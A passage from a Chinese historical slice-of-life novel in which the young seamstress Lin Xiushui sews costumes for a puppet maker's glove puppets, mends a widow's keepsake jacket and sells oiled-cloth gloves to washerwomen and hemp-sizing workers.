拿到她这给补好了,完全看不出被咬过的痕迹,老太太见了衣裳,心口也不发堵了,病才渐渐好转,如今算是大好了。 她去开这个口,人家自然满口答应,于六娘出来笑道:“我算是借了你的光。” 林秀水说:“这上头借光还是免了吧。” 她又匆匆同于六娘道别,再不去上工,她怕是真要晚点了,一路狂奔,站在门口大喘气,顾娘子都怕她撅过去了。 林秀水只想,人踩点总有失手的时候,她下回还是早些出门吧。 今日她开始补纱,涨了月钱总要尽心尽力一点。 而大春玲和小春娥全给她打下手先,补好纱才能熨。 补纱的这几日里,大春玲接到了林秀水送的一个刀套,小春娥则是火钳子套。 林秀水真用心琢磨过,大春玲最喜欢的东西是两把刀,一柄很重很厚的铁刀,杀猪都不成问题,而另一把则比较小巧,如果手掌大也算小巧的话,那确实是。 小春娥真爱是烧炭,次爱是她的火钳子,她说没有火钳子,就没有今日站在这烧炭的小春娥。 送礼要投其所好,林秀水觉得自己够投其所好了,用那些好看的布头做了个刀套和火钳子套,很尊重人家的喜好。 小春娥收到后哈哈大笑,“阿俏,你可真是的,你给火钳子做个花里胡哨的套子,叫你这么一整,下回我得给我的火钳子取个名字了。” 林秀水哼一声,“你们完全不知道我的用心良苦,不同你们说了,先走一步。” 她走出院子,仍听见背后小春娥的狂笑,她捂住耳朵往前走。 去桐油作送手套,拿了二百多文,她还给于六娘送了两个靠背垫,里头填了丝绵,买来的丝绵兜子,她和姨母一起翻的。 “你多养养吧,把这垫在腰上,靠着会舒服很多。” 于六娘接过,她走出两步说:“摔了腰可比生孩子时还难受,我坐月子也没这么疼过,不知道的还以为我又有喜了呢。” “那当自个儿坐月子吧,省得一日日走,”林秀水打趣她。 于六娘瞥她一眼,“你可盼着我点好吧,谁坐月子谁知道,你赶紧些走,别耽误你生意。” “那垫子绑腰上也行,你官人来接吧,我先走了。” 林秀水先行一步,张木匠说今日等她下工,能将东西做好,叫她回来瞧瞧怎么摆。 这几日,张木生接了他爹的活,过来给翘边的地板钉好,那里漏缝补一补,地板刷一遍桐油,木墙刷一遍,靠河的地方最容易潮,桐油是林秀水自己买的。 张木匠则先打她要的东西,本来也没几样,几日功夫便做好了。 林秀水想长桌子横着靠窗,那里最亮堂,而且宽度够,能摆得下去,矮桌架柜子则靠门边上,绣架和长布架则在桌子前头。 左右也这几样东西,摆来摆去也大差不差,只是东西一放进来,这屋子也变得紧窄起来。 虽则只是刷了桐油,多了几件家当,但林秀水很满意,她已经算是有了个正经做衣裳的地方,她能接点大活,比如说做帐幔、被褥、被套种种,不用再拒绝别人。 林秀水的布头也有了去处,不用叠放在篓子里头,她做的这个布架是竹木的,一个长方的架子,竖着两条竹子,上面横着搭了十二三条竹板,很高,跟她人差不多高,总共有两层。 她便将各色布头,按颜色分出来,一块块搭在上头,从浅到深,再给人补衣料的时候,就可以快些找到要用的料子,渐渐地,整个架子填满了五颜六色、长短不一的布头。 桌子左侧墙挂了布袋,她自己做的,有很多个小口袋,放了新木尺,挂了长长的布尺,其他先空着,她还想再买点好的针线和剪子。 不管如何,林秀水心满意足坐在她的屋子,吹着河面小小的风,借窗外明亮的光,取出蓝色的绒线来,缝补她的蓝褙子。 她坐在这,心里踏实,眼前明亮,那些纷杂的念头全在针线里渐次消失。 偶尔有船经过,都会停靠在窗边,问她在补些什么,有人说:“这可真好,下回我就将要补的东西放船上,等见你窗开了,便放过来,再也不用走那二三十级石阶到桑树口了。” 林秀水反正随大家方便,上哪找她补衣裳都行。 她从屋里出来时,将门掩上,王月兰则在院子里裁换下来的门帘,嘴里道:“我把这拖布卖给染肆里去,那地总是一洼一洼水坑,拿竹帚扫也扫不干净,不买我都得放把在那里。” “等等,”王月兰啊了声,“都给忙忘了,刚哪个娘子叫你来着,你出去瞧瞧,我请她来,她可没进来,在屋外一直转悠又没走。” 此时天乌青青的,像要下雨,林秀水才没出门去,琢磨她的香囊,说有娘子叫她,怕是姚娘子,匆匆跨过门槛出去。 倒不是姚娘子,而是个生脸孔,穿着南瓦子路岐人的花俏衣裳,顶了满头簪花,怀里抱了只什么东西,在这样有些昏暗的天色里,林秀水不大看得清明。 只走了两步上前问:“娘子,来寻我缝补东西的吗?” “不是,我是来做衣裳的,”那娘子走上前来,怀里抱着的东西用布遮住了。 林秀水瞧了眼,又问道:“给谁做的,小娃还是你自个儿穿?自个儿穿我没有这么多布。” “给我家孩子穿的,个头都小小的,费不了多少布料。” 林秀水好奇,“小孩呢,我得量量尺寸。” 那娘子将怀里的东西递过来,她小声说:“它们都在这了,劳烦小娘子了。” 这话说得林秀水有些毛毛的,大着胆子接过来一看,闭了闭眼。 孩子哪哪都好,就是她左看右看,上看下看,看起来不大像人呐。 不过她连把鸡当娃的也见识过,这布傀儡算来算去,有手有脚有布脸,左右也凑合算是个人吧… 第29章 第 29 章 裁缝这行当 “我是做傀儡的。” 在小雨落下, 砸到河面时,坐在林秀水做活屋里时,苏巧娘手里握一只布袋小人慢慢开口。 “我们这行大多出自临安府苏家巷二十四家傀儡班子里头, 有在台上摆弄傀儡,也有像我这样专门做这偶人的。” “刚跟小娘子你说,这是我家里的孩子, 其实并没骗你,我们木师做只偶人要费许多工夫,从偶头起日日打磨,它们从脸到手到脚, 全是从我手里出来的。” “我总说,这与我自个儿生的并无差别。” 林秀水去看杂剧,杂剧伎艺里便有弄傀儡, 活灵活现的,只是与苏巧娘手里的不大一样。 估计是没穿衣裳,光溜溜的叫人不大习惯。 这同绢人不一样,林秀水初时以为那头是绢布做的,放到手里沉甸甸的,才发觉原来那是木头雕刻的花脸,细长眉眼, 大红唇妆, 做了盘发, 应当是唱戏的旦角。 手是用木头雕的 , 只腿塞了丝绵用布绑起来,脚上的鞋子也是木雕的,身体相连全靠竹木。 见眉眼雕刻的这样生动,林秀水有些好奇, “像你们这样的巧手,裁衣对你们来说,应当不大难才是。” 苏巧娘如实说:“这各行有各行的门道,我们做木师的,手习惯雕木头,一拿到手里,有重量才会顺手,布料太轻飘了,我剪不下去。” “这是我新学的布袋,同市面许多傀儡不相同,没有几个老裁缝愿意接手,嘌唱的朱七娘见我发愁,叫我来这寻你,她说你应当能做。” 眼下傀儡里,正宗的有牵丝做线的悬丝木偶、二尺来长,有身无足靠主杆的杖头木偶、用火药来达到爆炸的药发木偶、在水上做戏的水偶和以小儿女在大人手里托举做戏的,这叫肉傀儡的。 至于布袋木偶,只用三根手指头在手里演的,这会儿还不大被接受,硬说也算是肉傀儡范畴里的。 傀儡班子讲究正宗、传统,越新奇越偏门的,在眼下都不大容易接受,有专门的做偶身衣的裁缝,已经习惯于各种木偶的尺寸裁衣,另外再去做别的,基本没多大可能。 这又得说到裁缝这行上,除开林秀水这种啥活不嫌弃,啥都接的外,正经裁缝大多只做一两样,做褙子的单做褙子,做嫁衣的便只做嫁衣,白衣、寿衣、被褥、男子、女子等等,分得特别细致,终其一生在选定的衣式上头琢磨、下功夫。 所以苏巧娘在做偶身衣的裁缝那里接连碰壁,那其他做人衣的裁缝里更不可能会被接手。 但林秀水自认为不是正经裁缝,有时候她自己说,其他裁缝不接的活,她都接。 窗外雨越落越大,砸在河面啪啪响,偏林秀水没说话,苏巧娘跟雨下到她身上一样潮得慌。 林秀水郑重地发问:“这个孩子出生几日了?” 这话放在偶人身上,听得可笑又滑稽。 苏巧娘却回得认真,“这个出生有五日,这十三日,那个有二十二天了。” “那得穿衣裳了,娘子你说说,要做什么样式的小衣,”林秀水笑道,她拿布尺准备量身,发觉人用的布尺太长了,得新做一根,万一日后还有人找她做呢。 她对会有人找她做稀奇古怪的东西,几乎是毫无疑问的,做根小布尺很有必要。 而且林秀水欢喜的是,从顾娘子那换来的好布头有了用武之地,本来说做香囊的,可料子又确实不错,她要价太高,姚娘子那边收不起,要价低的话,她没法做长久买卖。 苏巧娘看她的布架,认认真真挑布,萌生出给自己亲生孩子挑布做衣裳的感觉。 林秀水会在旁边说:“这块纱是临安府出的素纱,做下裙不错,这是水蓝的细绢,那是双林来的绫绢,浅红底梅花纹样” 即使有些布头只有巴掌点大,林秀水也打理得很好,一片片按大小长短不同挂起来。一张张什么料子的,全心里有数。 苏巧娘看料子都不错,林秀水又肯接活,只选了几样布,叫林秀水看着裁衣裳,先做一身她瞧瞧样子,颜色一定要花俏。 林秀水给绢孩儿做得很粗陋,这种要很精细的,她先要价六十八文一套,眼下她也很难说自己能做得很好,所以只先做一套。 裁人穿的尺寸和木偶那是不同的,翻袖子便很麻烦,她要人家三日后来拿。 “小孩先放我这,给它盖张花被子,行不行?” 苏巧娘看她,轻轻笑一声,“我信得过小娘子。” 屋外雨下得大,林秀水找了把大油布伞,撑开送苏巧娘到南瓦子里,自己拿了钱袋,上对岸南货坊里,挨家挨户找需要的东西。 她要一把小而尖的剪子,能够在小衣腋口处打剪口的,还要铜镊子,最好得细,不能太粗,要有纸和笔,她得画纸样,剪了纸样才好照着剪,还需要细针固定。 这剪子、镊子好找好买,价钱加起来五十文,纸笔林秀水不要太好的,人家那种卖到最后的差纸,最便宜的她买了。 反而是细针最难找,她最后买的人家针灸用的长针,比她手掌长,拿去铁匠铺叫人给她裁成四截再打磨尖头。 那铁匠当时还问她,“真要砍断?” 林秀水回得毫不犹豫,一根针要她三十文,搭上裁剪五文,砍断还能有四根细针,她沾点布在上面,可以做珠针用。 夜里,窗外下着雨,屋里亮着蜡烛,林秀水裁好上襦、三裥裙、大袖衫的纸样,她揉揉手腕,闭眼靠了会儿。 她缝补织工手艺不错,但让她正儿八经做衣裳,其实林秀水自认为水平不够,她不大知道用什么布适合裁什么衣裳,也不大懂配色,常规的白同其他颜色不会出错,青蓝、青绿她也常搭。 林秀水低头看自己的衣裳,很素净,她寻常穿衣裳,穿蓝、穿青,上身穿素净点,下身就花俏些,但不会超过三种纹样和颜色。 她不喜欢杂乱的颜色和纹样,这也意味着,她不会搭衣裳。 林秀水的长处突出,短板更突出,哪怕有前世的记忆,也没法挽救,她压根不懂自己前世为什么能穿得那样花里胡哨。 她将十几块布头,来来回回摆弄,但凡有四种以上颜色,她就没法取舍,乱糟糟的,她抓了抓自己脑袋,蒙头盖在桌子上。 第二日到成衣铺,小春娥啧了声,“阿俏,你昨夜做贼去了啊?” “贼,还不如做贼呢,”林秀水靠在椅子上,开始胡言乱语,“做贼我只要给他做身黑衣就好了,多简单的事。” “你发糊涂了,”小春娥探探她的脑袋,“这也不烫啊。” “没糊涂,在想怎么搭色呢,你看我穿的就知道,什么简单穿什么,杂不了一点色,”林秀水平静又无奈地说。 小春娥算是弄明白了,“多大点事啊,你等着晌午歇息,叫大春玲候着,我带你出去认识个人去。” “谁?” “隔壁彩帛铺的小娘子,青柳。” 青柳个头高挑,长相俏丽,身上衣裳穿得又多又耐看,她是妥妥的杂色党,林秀水一数这颜色,起码有七八种。 她身上衣裳分上中下,上浅黄衣下蓝白纹样的裙还要搭一条偏紫的腹围,前头挂着青色的酢浆草结。 林秀水不免咂舌,她压根搭不出这样颜色的来。 青柳爱说笑,见面便说:“要我教也成,求我。” “求你,”小春娥合起掌,“我给你拜一拜。” “得得得,”青柳起了身寒气,跟上坟一样,她瞧了眼林秀水,“太素净了,太素了,我要跟你这样瘦,我光上衣就穿三件,三种色,你瘦的话越得穿翠的,才能丰满起来。” “你跟那些男子学学,簪花簪大红的,还喜欢鹅黄色的腹围,称腰上黄的,你跟他们比都太素了。” 小春娥说:“打住,那能是什么都学的吗,叫你说怎么搭色,你扯那么偏。” “哎,实话总是伤人的。” 青柳最后说:“这其实就是看和仿,哪家搭的颜色好看,路上哪个小娘子穿的衣裳一眼便瞧着好,都给记下来,搭不会搭,那就仿。” “还有便是多记,我爹是画匠,他有几句俗语,像“红加黄,喜煞娘”,红黄两色搭一起,准不会出错,紫离黄不显色,要想紫色瞧着突出,那可离不了黄。” “以及粉青绿,粉裙青衣绿腰巾,或是青裙绿衣粉腹围,随意些,都不会出错。” 青柳说了一大通,最后笑道:“实在不会搭,买两三张年画、纸马来,照着上面裁衣裳,指定不会错。” “可别请我吃东西,好意我记下了,难得有人请我当这颜色先生,我可有一肚子本事没法显摆了,以后再来寻我。” 林秀水同青柳道谢,她算是真明白了,这不说整个桑青镇,便是只在桑绫弄一条街上,随便逮一个人,都各有各的本事,哪怕一个微小的事物上,自有自的一番学问,她小小地学一点,也大受启发。 于是她苦心钻研、琢磨,下了工不急着走,先看成衣铺里搭的衣裳颜色,顾娘子跟她 一样,喜欢素净,卖的衣裳也颜色统一。 她又看壁画、看人家路过穿的衣裳,看得有些投入,导致过路的人都瞧她。 但林秀水琢磨出了一套服饰,她反正不敢打包票,只说能瞧得过眼。 她做浅黄的交领内里,袖子很宽大,翻出来得用铜镊一点点拉出来,套在布偶上,很服帖, 再给套上蓝色暗花细绢的对襟直领背心,袖口、衣襟处是红底梅花牡丹的纹样。 穿上松松飘飘的橙色下裙,搭一块青绿映团花的腹围,她给加了两条红色的酢浆草结压着, 她一一穿好,将小布偶套在自己的手上,真的同人穿好衣裳一样,会动会摇手,一动袖子特别飘逸,林秀水还给加了两条蓝黄披帛,自我打量,挺满意,又很踌躇。 涉及到她不大擅长的东西上,林秀水也有点没法确定。 等苏巧娘来拿东西时,林秀水叫人进屋里来,那光线最好,她将偶人固定好,盖上一块布,让苏巧娘自己扯。 其实苏巧娘抱了希望,但心里也没底,慢慢揭开布,先露出的裙边,披帛垂落,渐渐的,她扯到上半身,橙绿撞色让她咦了声,视线又往上移,露出的蓝色让她舒展眉头,搭得有些意思。 然后等整个全部揭开,在光线最好的地方,偶人穿着极为精巧的衣裳,眉眼低垂,披帛飘飘,纷杂的颜色带来的那种夺目感,让偶人变得不再普通。 “这,这衣裳,”苏巧娘极为惊讶,她想摸摸,又发觉自己没洗手,她围着看了好一圈,才能把句子说完整,“这衣裳实在精巧至极,在台上只怕大伙都得盯着瞧了。” “小娘子,你能快些给我再做两套来吗?” 苏巧娘对于这衣裳的喜爱已经难以表述,但林秀水有心无力,“做小衣裳不是问题,我搭不出色来,你得等我多学学,我这会儿做不出来。” 一套搭得她改来又改去,又天天琢磨,还逮着小春娥和大春玲问好不好看,弄得两人一见她来,立即闭了眼。 苏巧娘有些失望,不,很失望,但她仍然要指望林秀水,她只好收拾心情,先小心翼翼捧着偶人回去。 而后第二日起早,过来请林秀水看杂剧。 “请我?”林秀水还蒙着呢,以为谁又那么大早过来,她没睡醒,一见是苏巧娘,她睡意立即去了三分,“衣裳出问题了?” 不能吧,她缝的每一针都极为细致,硬扯才会断的那种。 苏巧娘当即摇头,连连否认,“当然不是,只是这衣裳实在精巧,套在我家布偶上尤其好看,我看了大半夜没睡,想想不甘心,跟人拿台子来,请老师傅专门做场戏庆祝。” “在哪做?有没有人瞧?”林秀水来了兴致。 苏巧娘有些落寞,她说:“这布偶不被瓦子里傀儡班子承认,我没法在那搭台子,只好在自家院子里搭,请你一个人来瞧。” 林秀水点点自己,语气笃定:“你把台子搭过来,我保准有很多人来瞧。” 就算唱得不大如意,她也能给大家来个织补表演。 “真的?” 苏巧娘有些不大相信,这桑树口只有几个人影。 林秀水又不说大话,“你只管酉时过来。” 她当然有自己的门路,她做过的生意那么多,早上摊子支出去,她跟不管当看众,还是来缝补的大家说:“酉时这里有弄傀儡的,要是大家有兴致的话,带孩子来瞧瞧,给捧个场。”“哎,怎么走了?” 林秀水有点不明所以,远远来一声,“我们回去拿东西占个地,不然晚些,大家都来抢,没地坐可咋办。” 她觉得大家有点太捧场了,哪有这么多人来,结果她下工回来时,闭了闭眼,又睁开,乌泱泱一伙人,得有五六十人。 “快来,秀姐儿你快坐,就等你了。” “正中间这给你坐,刚我们瞧过了,那衣裳做得可好了。” 林秀水脑子里塞了一通的夸奖,被人摁着坐在小荷边上,只听阵鼓声起,那桑树旁边的空地上,架起一个棚上帐楣、小台屏,她做的偶人出现在台上。 刚一出来,一甩长袖,惹得一群孩子又蹦又跳惊呼,偶人提裙走,又欢呼。 刚开始那偶人只是走、跳,到后面手里握着红色长绳,利落地翻身,甩动,长绳翻飞,大甩披帛,身上那身衣裳摆弄间竟是好看非常。 连林秀水都惊讶,自己头一次做的衣裳,竟然有这样好的效果。 “我看戏好些年了,从来没见过这样的,你瞧那身衣裳,一看花了大手笔做的,听说是阿俏做的,可真不得了,甩的时候那褶子甩得多好看,那身形衬得跟真的一样。” “我又看跳,又看衣裳,眼睛都不知往哪瞟,说也奇怪,人家南瓦子那傀儡戏,还演长戏呢,这里只动没有声,我竟都瞧得入神了,人家这手上功夫可真厉害。” 后面看众每一句夸奖,都让林秀水内心激荡,有种自己做的东西被众人承认得好,不枉费她苦熬了好几夜做出来的。 这场布偶戏虽然美中不足,但美弥补了这一点。布偶戏落幕时,大伙齐声叫好,有人给送铜板打赏,小孩则跑上去,要看布偶,有的孩子大声说:“我也要学这个。” “我想要这样一只布偶!我会好好学的。” 苏巧娘听闻这话,满脸泪痕,又欣喜过来跟林秀水道谢,“我本来已经不打算做这行了,傀儡班子里讲究太多,出格一些都被排挤,我已经许久没有偶人上台过了。” 被排挤到连班子里也没有她的位置,她曾经雕刻的木偶全部扔回来,又被做偶身人的裁缝拒绝,被奚落嘲弄,可她只是想给自己苦心雕刻出来的偶人做身衣裳。 本来心灰意冷,苏巧娘已经不打算在做这行了,其实本来也很少有女子做傀儡的,她在苏家巷里吃冷饭,挨打一年年忍了下来,在桑青镇却突然难以撑下去。 但是眼下,苏巧娘却笑着说:“我会好好做下去的。” 她那么多年想要的,已经被大家承认了,哪怕只有几十人。 林秀水也难免有些感慨,一件新事物新手艺,从诞生到被认可,要走许许多多的路,才能走到大众眼前,又在很久的以后,渐渐消失,到需要被保护。 她说:“不走就没有路可以走了。” “往下走,总有路的,你看,路不是来了。” 有人带愚钝的孩子来询问学布偶戏的事情,不是当玩乐,而是当成正经手艺来学。 手艺这种东西,但凡有一个人学,就已经走出一大步了。 苏巧娘被人围住,林秀水慢慢笑着走出去,苏巧娘遥遥冲她招手,脸上神色复杂。 小荷认真说:“我也想学布偶戏。” “可你上回还说,要跟我学裁缝手艺的,”林秀水不满。 小荷嘻嘻笑,“我这会儿又想学这个了,这个好玩。” “好玩我叫人给你做只,我再给你的娃做身好衣裳,”林秀水摸摸小荷的脑袋,“但是学一门手艺,要下许多苦功夫的,不是好玩而已,台上你只看到一会儿,台下人家练了十多年。” “阿姐也不想你学裁缝,你以后大了,学点自己喜欢的,有那么多个行当,就有成千上万条路可以走。” 在这里,扫街盘垃圾的是门正经营生,倒马桶、收泔浆水的、擦桌擦物件的是营生,帮人跑腿、引路的是营生,而这些许许多多的营生里,是许许多多的人走出来的路。 小荷还不大明白,她歪着脑袋说:“可我只想玩。” “玩也有玩的路子走呀,但你得学。” 林秀水这一夜又没睡好,她又开始做梦,梦里的她说很喜欢当裁缝,她之前怎么都没法理解,怎么会有人愿意在一条路上,一门手艺上,十几年,几十年一直干下去呢。 但在这么多日子里,她有些懂了,或许出于无奈后的选择,也可能是坚定地选择。 她在裁缝这行当上,仍迷茫且困惑,但总有一日,或许 会明白。 第二日支完摊,林秀水又顶着张青黑的脸上成衣铺,只有大春玲一个人在,她抹了把脸好奇问道:“小春娥呢?” “你睡迷糊了?”大春玲看她,“小春娥昨日不是说,昨日有新出的炉子和炭,她请了一天工,在家捣鼓呢,说烧不明白,打算这几个月都烧这,烧明白了再说。” 林秀水真心实意地说:“说实话,我可佩服她。” 烧炭那样枯燥且无趣的,都能从中找到乐趣烧明白,她真没法比,她最近还对缝补都产生了些许烦闷。 主要是早晚她都要补蹴鞠,在蹴鞠上练针工,能做到完全不炸,表面不留线痕,到成衣铺里又补纱换纱,整整熬一日,眼睛酸痛,腰背酸软,而且手持续抖,越换抖得越厉害。 有好些次,她长久而沉默地坐在纱布前,没有任何话,内心却没平静过,她也有好多次,站起来想走,转头又坐下,逼着自己补,像她有记忆后,三年里从不间断地练习缝补技术,让自己一定要练。 但也确实有想要逃离和放弃的念头。 不过经由苏巧娘的事,林秀水这些天的烦闷,倒是渐渐的消散,她这天坐在纱布前,已经不用再安慰,或者是逼迫自己,可以自然地做到换纱。 有些东西她自己没有察觉,但其他人会,比如帮她整理纱布的大春玲,又或者是过来查看的顾娘子,都被她的动作吸引住,到逐渐惊讶。 之前换纱,她还磕磕绊绊的,要站起来,要走两步,要甩手,长呼气才能换得下去。但是这次换纱,她从抽纱起便开始一气呵成,换条纱线行云流水般,好似眨眼间便完成了。 换纱更快,手更加得稳。 等林秀水换完,顾娘子惊叹道:“你这手技艺才多少日,比之前更好了。” 林秀水咦了声,她自个儿真没多大察觉。 补纱上她自己感受不出来,日日做的东西,手感已经在这了,快也是应当的。 她回去支摊时,专门接那种难的活,她一接难活,周围就挤满了看众,跟扑买东西选个好位置一样。 “来来,之前说让我补细绢的那件衣裳呢,”林秀水擦擦手,“我这回说不准能补一补。” 从前她说细绢的孔如同针眼,补也补不清楚,她除非不想要眼睛了,这回她自认为有些进步,她估摸着能补明白了。 拿细绢褙子的娘子说:“我来好些趟了,我就不死心,这是我闺女送我的第一件衣裳,我一直没舍得穿,就放那箱底,谁晓得会破了洞,我心里悔都悔死了。” “小娘子当时还说不能补,让我上别处看看去,我哪哪都去了,哪家也说没法子补的,叫我再新做衣裳,我可怎么舍得。这不,日日在等,可算让我等着了。” 那娘子说得又心酸又欣喜,她闺女走了好些年,这衣裳她从来没穿过,叫她换布她哪里忍心换。 林秀水接过这绢布衣裳,从前看这孔眼,觉得哪哪都小,要补的话,三五十文钱都不值当。 这补了好些日子纱,天天补,看细绢的孔眼都眉清目秀起来,是块能补的料子。 她取了针线,晃晃手,擦了又擦,确保没汗,上绣绷来,破洞处不小,线迹十分细密,反正那些穿细绢来的人,正扯着自己衣裳,看看针能不能进去。 林秀水取线取得快且不犹豫,长丝、短丝放好,然后没有多余动作,下针,她对这种平纹结构,不管是纱、绢都已经完全熟悉,不需要再一遍遍细细地看。 其他人不敢出声,生怕惊扰了她,但林秀水自己一针针纳线,毫不犹豫,仿佛知道绢布的孔眼在哪里,又得益于每日练习蹴鞠,她手现在要稳很多,织经纬纵向时,又快又稳。 这细绢在她眼里也不成问题,随着她手一上一下,如蝴蝶轻舞,那原先的破洞处被线覆盖,又渐渐在她的抚平下,消失得无影无踪。 如同之前娘子的闺女刚买来一般。 那娘子反反复复地瞧,正面反面都瞧,才低头抹泪。 好些年了,她一直都耿耿于怀,为什么不穿这件衣裳,为什么要闺女走后才穿。 好多年里,她一直看着这个破洞,但是从这日起,她那件衣裳的破洞补好了。 那娘子给了钱,一路走一路哭,想着放下吧,又将那衣裳穿在了身上。 林秀水想,幸好她会缝补。 又想,针线只能补洞,可补不了心上愁。 但后来那娘子专门来告诉林秀水,她从前看见的是破洞,想的是破洞,现在破洞在哪也瞧不出,她不再日日想了,她真的要过自己的日子去了。 娘子最后说多谢她和她的针线。 第30章 第 30 章 一年年走下去 桑青镇的雨来得很勤快。 林秀水穿油衣, 戴油帽走在街上,雨顺着风灌进她脖子里,她踩了一处水洼, 疑心是谁祭祀烧纸马,全放的雨龙。 刚这般想,路过卖纸马的铺席, 店家吆喝道:“不卖雨龙,卖指日蛮喽——” 雨龙是祈雨的纸马,祈晴的叫指日蛮,铺席里最多的是几叠避免感染时疫的纸马, 称天行帖子。 林秀水绕过水洼走过去,店家说:“小娘子,要什么纸马?” 她清清嗓子道:“要财马。” 店家瞧她一眼, 按在指日蛮上的手悄悄挪开,他开始翻找财马,边找边说:“都是腊月里的货了,你想要的话,得放香囊里好生藏着,到今年腊月里祭祀时烧了,这样才有用。” “怎么眼下才想起要买纸马了?” 林秀水一言难尽, 给了六枚铜钱, 她这几日属实有些倒霉, 她熨纱缎时把自个儿左手烫了个泡, 上李戴花洗面药家针刺挑泡上药,花了她三十文,两日没法出摊。 还掉了枚针,她都不知掉的, 还是被人顺走的,她又得去买枚新的,莫名其妙没个三十文。 可真够气人的,所以她上火,喉咙又疼又哑,想抗过去,结果没好,被她姨母耳提面命,要她上成衣铺对面,那香水行边上的山水李家口齿咽喉药买药,花三十文买了一瓶熟药,吃两日好些了。 但她不信邪,买张财马来试试。 想了想,又买了两张来,塞进香囊里,踩着水洼到成衣铺,路上有两三个街道司的人,穿蓑衣,甩着拖把蘸水坑里的水,好叫车架过去不至于溅一身水。 还有两个人跟在人家后头,拖那脚底沾的黄土,吭哧吭哧地拖,拖到变成黄水流出去,还笑嘻嘻地说借雨水的光,不用提水来冲淋了。 “小娘子,上工去啊,”街道司的老管事冲林秀水打招呼,“雨天路滑,可得当心些,前头刚有人在这跌了一跤。” 林秀水走两步过去说:“你老才当心些,你们街道司的都需当心些,今日雨怕是要下好一阵子。” 得了老管事的回复,她又赶紧往前走,一路碰见街道司的熟面孔,都晃晃拖把跟她问好,她心里高兴,小走着到成衣铺里。 将油衣挂在外头,进去后给大春玲和小春娥发了一张财马。 “诺,一人一张,早日发财。” 小春娥郑重收好,用很严肃地语气说:“我要发财了,我雇人给我烧炭,我整天出去扑买。” 大春玲瞪她,林秀水举起烫到的左手说:“我赞同,除大春玲外,无人反驳。” “歇歇吧,尤其是你的嘴。” 林秀水倒是想歇,手不争气,成衣铺又离不开她,这纱补得差不多,那头还等着裁衣呢。 “快来,玲姐儿,我教你熨,这熨纱可真得注意了,不然真成炙肉了,我说我自己,哎呀,这话少说,全应验了。” 林秀水手废志坚,多亏她左手,她已经练就只靠右手熨布、补纱的本事,怎么都没法阻碍她赚钱,赚布头。 今日也没法摆摊,歇了活计后,她去了洗衣行,光明正大进去的,之前只能偷摸在角落里,这会儿门口的守门人认识她,肯放她 进门了。 她第一次见洗衣行里头,扑面一股皂角味,熏得发臭,一眼望去全是飘飘展展的麻布,挂在竹竿上,她猫着身子从底下,从侧边钻过去,耳边有库嗤库嗤搓布声,从四面八方里传来。 有洗衣娘子看林秀水一眼,手上套着手套,举着捶布的木棍,一下又一下地捶,也有的套手套,捞缸里的麻布衣裳,拧干水,甩甩挂到竹竿上。 林秀水匆匆看了一眼,十好几人都戴着手套,她长长松了口气,又用眼睛搜寻,在角落边上找到了瘦巴巴的小九,一个人拧麻布,憋得脸通红,上前搭了把手。 “谁,啊,你怎么来了,”小九压不住兴奋的声音,又问,“怎么过来了?” 林秀水只能用右手,她帮忙拧紧水,回道:“你怎么不来寻我,我都不知道这手套有没有进水。” 她得对卖出去的东西负责,所以记挂着,抽了空过来。 小九扯扯麻布,小心套在竹竿上,回头笑了笑,“有些小毛病,进是进了些水的,可,” 她实在不愿开口,即使林秀水再三说,漏水便拿去补,可大家不愿意,怕嫌她们事多,以后不卖给她们了。 市面上有许许多多的皂角、澡豆、肥皂团,有各种洗衣的法子,上浆、草木灰洗衣等等,有捶布石、捣衣棍,但没有一样是手套。 比起皂角来,比起捣衣棍来,洗衣行里的人更需要手套。 所以即使进水也从不让小九说,补一补,反过来晾一晾,明日再接着用,油布耐用得很。 小九讪讪,又懊恼,“怪我说漏了嘴。” “其实真没什么问题,我们还想同你做第二笔,第三笔生意呢。” “隔壁洗细绢的、纱缎、绸布的,也说要想买几双。” 林秀水擦擦右手,“你应当同我说的,进水是大毛病呀。” “不要担心,我会同你们洗衣行做长久买卖的。” 但说到绢布、绸缎的上头,林秀水也难免犹豫,没法子,她做的油布手套会刮擦这些细布。 有时候她会觉得可笑,这年头布比人要值钱得多。 她决定要再下功夫,看能不能做软油布手套。 “小九,你们什么时候歇工?问问娘子,那些进了水的手套我拿回去给补补,我还带了些新的,请她们来试试。” 歇工,其实洗衣行压根没有到点歇工这样算的,她们这种洗衣的,同在清河坞搬运粮袋的脚夫一样,每洗完一件衣裳,到右边监工那领一根签筹,一根换两文钱。 在这里就是洗得多赚得多,所以洗衣娘子都青睐于手套。 小九看监工,监工去换岗吃饭了,她喊一嗓子,“卖手套的小娘子来了,大家快过来。” 一听这话,原本还在洗衣服,捣麻布的,或是捞布的,全站起来,视线转了一圈到林秀水身上,原本漠然的神情变得生动起来。 有人夸道:“你是那小娘子啊,我说呢,长得我一眼就瞧出来了,是卖手套的。” “我也一眼认出来了,比手套秀致。” 林秀水越听越古怪,这咋听着不像啥好话呢。 大家围过来瞧她,衬得她很瘦弱,洗衣娘子们身子大多壮实,且有把好力气,手也粗大。 林秀水便站在中间说:“这进了水,该补就上我这补,我不嫌麻烦,我想跟大家做长久生意。” 仍没有人开口,全干笑着,林秀水拿她们也没法,像染肆里的人,手套还能用染棍代替,或是竹夹,所以一进水立即要闹着换,要裁了做别的。 洗衣行是真需要。 “真没哪不好的,”有个娘子走上来说,“套了这个,虽然潮闷得慌,可比起一天到头手浸水里好上太多,起码手不日日疼了。” “这个价我们都说公道了,难为小娘子费心。” “对啊对啊,我们这次多买几双,可千万别嫌我们买得少。” 林秀水看了眼她们的脸,目光那么真切,也笑着说:“好啊,多少都行,一双起卖。” 后面她也没多说,拿出这次新做的手套,她又去买了一整匹油布,料子不错,在里头加了丝绵纸。 桑青镇蚕丝多,丝绵多,丝绵纸出得多,也相对便宜些,一长卷好些的六十几文,她薄薄刷了层桐油,晾干后用浆糊涂在油布上,多捶多揉到逐渐发软。 这样做出来的手套,防水要比原来得好许多,但同时会有些紧绷、难受,还得贵上十文。 洗衣娘子们仍喜欢原来的那款,说了许多好,但也不想她跑空,将她介绍去旁边给麻线上浆的作坊。 麻线上浆,要煮稻草水灰水淋,淋完后,还得用米浆,但眼下又有种新法,灰淋后用滑石粉浆或加陶土,黏糊糊的,手容易破皮、发烂,搞得人着恼。 “这玩意稀奇,”有个老丈有些不大信,他说,“瞧着怪模怪样的,套上手还能动得起来,尽耽误工夫,你们买去,我不要使这玩意。” 但他套上后捞缸里的麻线,熟悉的刺痛感没有传来,只有手套里丝绵纸的轻微刮擦,而且手套硬不容易滑,攥在手里刮麻线上的浆水很容易,不像手要使很大劲。 他咳了声,“给我来两双先,不,三双吧。” 